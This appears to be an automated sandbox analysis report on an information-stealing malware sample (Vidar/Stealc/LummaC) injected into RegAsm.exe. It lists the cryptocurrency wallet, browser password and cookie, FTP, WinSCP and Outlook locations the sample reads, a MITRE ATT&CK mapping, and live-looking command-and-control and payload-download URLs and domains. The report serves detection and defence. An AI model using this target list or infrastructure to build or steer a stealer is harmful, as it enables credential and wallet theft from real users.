Source: RegAsm.exe, 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: s.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: RegAsm.exe, 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004

Source: Yara match	File source: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3026337297.000000000103E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3784, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1916, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 424, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 15.2.DBGIJEHIID.exe.39c5570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DBGIJEHIID.exe.39c5570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.3023059126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2576073985.00000000039C5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3026337297.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1916, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 3.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3ce5570.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3ce5570.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2113832701.0000000003CE5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3784, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1916, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 424, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C700C40 sqlite3_bind_zeroblob,		3_2_6C700C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C700D60 sqlite3_bind_parameter_name,		3_2_6C700D60

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	511 Process Injection	11 Deobfuscate/Decode Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	4 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Software Packing	NTDS	56 System Information Discovery	Distributed Component Object Model	1 Email Collection	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	251 Security Software Discovery	SSH	2 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	511 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	50%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
file.exe	52%	Virustotal		Browse
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\KECBKKEBKE.exe	100%	Joe Sandbox ML
C:\Users\userGIEGHJEGHJ.exe	100%	Joe Sandbox ML
C:\ProgramData\DBGIJEHIID.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\66fa2b049020f_ldnf[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\66fa2afc5abea_vasd[1].exe	100%	Joe Sandbox ML
C:\Users\userIJEGDBGDBF.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66fa2ae906657_snd[1].exe	100%	Joe Sandbox ML
C:\ProgramData\EGDGCGCFHI.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66fa2afc5abea_vasd[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66fa2b049020f_ldnf[1].exe	100%	Joe Sandbox ML
C:\ProgramData\DBGIJEHIID.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\ProgramData\EGDGCGCFHI.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\ProgramData\KECBKKEBKE.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\userGIEGHJEGHJ.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\userIJEGDBGDBF.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66fa2ae906657_snd[1].exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66fa2afc5abea_vasd[1].exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66fa2b049020f_ldnf[1].exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\sql[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\66fa2afc5abea_vasd[1].exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\66fa2b049020f_ldnf[1].exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
possiwreeste.site	3%	Virustotal	Browse
steamcommunity.com	0%	Virustotal	Browse
urusvisa.com	0%	Virustotal	Browse
cowod.hopto.org	2%	Virustotal	Browse
underlinemdsj.site	1%	Virustotal	Browse
agentyanlark.site	1%	Virustotal	Browse
commandejorsk.site	1%	Virustotal	Browse
bellykmrebk.site	1%	Virustotal	Browse
chaptermusu.store	6%	Virustotal	Browse
famikyjdiag.site	2%	Virustotal	Browse
files.veritas.org.ng	5%	Virustotal	Browse
t.me	0%	Virustotal	Browse
delaylacedmn.site	1%	Virustotal	Browse
writekdmsnu.site	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://46.8.231.109/c4754d4f680ead72.php	100%	URL Reputation	malware
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900	100%	URL Reputation	malware
https://mozilla.org0/	0%	URL Reputation	safe
http://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900/inventory/	100%	URL Reputation	malware
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
commandejorsk.site	1%	Virustotal		Browse
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	22%	Virustotal		Browse
http://cowod.hopto.org	2%	Virustotal		Browse
http://46.8.231.109/c4754d4f680ead72.php=	18%	Virustotal		Browse
http://cowod.hopto.org_DEBUG.zip/c	0%	Virustotal		Browse
http://files.veritas.org.ng/ldms/66fa2ae906657_snd.exe	3%	Virustotal		Browse
agentyanlark.site	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
possiwreeste.site	172.67.205.129	true	true	3%, Virustotal, Browse	unknown
steamcommunity.com	104.102.49.254	true	true	0%, Virustotal, Browse	unknown
urusvisa.com	5.42.101.62	true	true	0%, Virustotal, Browse	unknown
cowod.hopto.org	45.132.206.251	true	true	2%, Virustotal, Browse	unknown
t.me	149.154.167.99	true	true	0%, Virustotal, Browse	unknown
files.veritas.org.ng	147.45.44.104	true	false	5%, Virustotal, Browse	unknown
underlinemdsj.site	104.21.1.169	true	true	1%, Virustotal, Browse	unknown
chaptermusu.store	188.114.97.3	true	true	6%, Virustotal, Browse	unknown
commandejorsk.site	unknown	unknown	true	1%, Virustotal, Browse	unknown
famikyjdiag.site	unknown	unknown	true	2%, Virustotal, Browse	unknown
writekdmsnu.site	unknown	unknown	true	1%, Virustotal, Browse	unknown
agentyanlark.site	unknown	unknown	true	1%, Virustotal, Browse	unknown
delaylacedmn.site	unknown	unknown	true	1%, Virustotal, Browse	unknown
bellykmrebk.site	unknown	unknown	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
commandejorsk.site	true	1%, Virustotal, Browse	unknown
http://urusvisa.com/mozglue.dll	true		unknown
http://46.8.231.109/c4754d4f680ead72.php	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	true	22%, Virustotal, Browse	unknown
http://urusvisa.com/softokn3.dll	true		unknown
agentyanlark.site	true	1%, Virustotal, Browse	unknown
http://files.veritas.org.ng/ldms/66fa2ae906657_snd.exe	true	3%, Virustotal, Browse	unknown
http://urusvisa.com/sql.dll	true		unknown
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	true		unknown
http://files.veritas.org.ng/ldms/66fa2b049020f_ldnf.exe	true		unknown
underlinemdsj.site	true		unknown
http://urusvisa.com/freebl3.dll	true		unknown
possiwreeste.site	true		unknown
https://steamcommunity.com/profiles/76561199724331900	true	URL Reputation: malware	unknown
https://possiwreeste.site/api	true		unknown
http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll	true		unknown
http://urusvisa.com/vcruntime140.dll	true		unknown
bellykmrebk.site	true		unknown
https://t.me/jamsemlg	true		unknown
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll	true		unknown
http://urusvisa.com/	true		unknown
https://underlinemdsj.site/api	true		unknown
https://steamcommunity.com/profiles/76561199780418869	true		unknown
http://46.8.231.109/	true		unknown
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://files.veritas.org.ng/ldms/66fa2b049020f_ldnf.exei	RegAsm.exe, 00000012.00000002.3026337297.000000000101E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/chrome_newtab	RegAsm.exe, 00000012.00000002.3026337297.000000000103E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
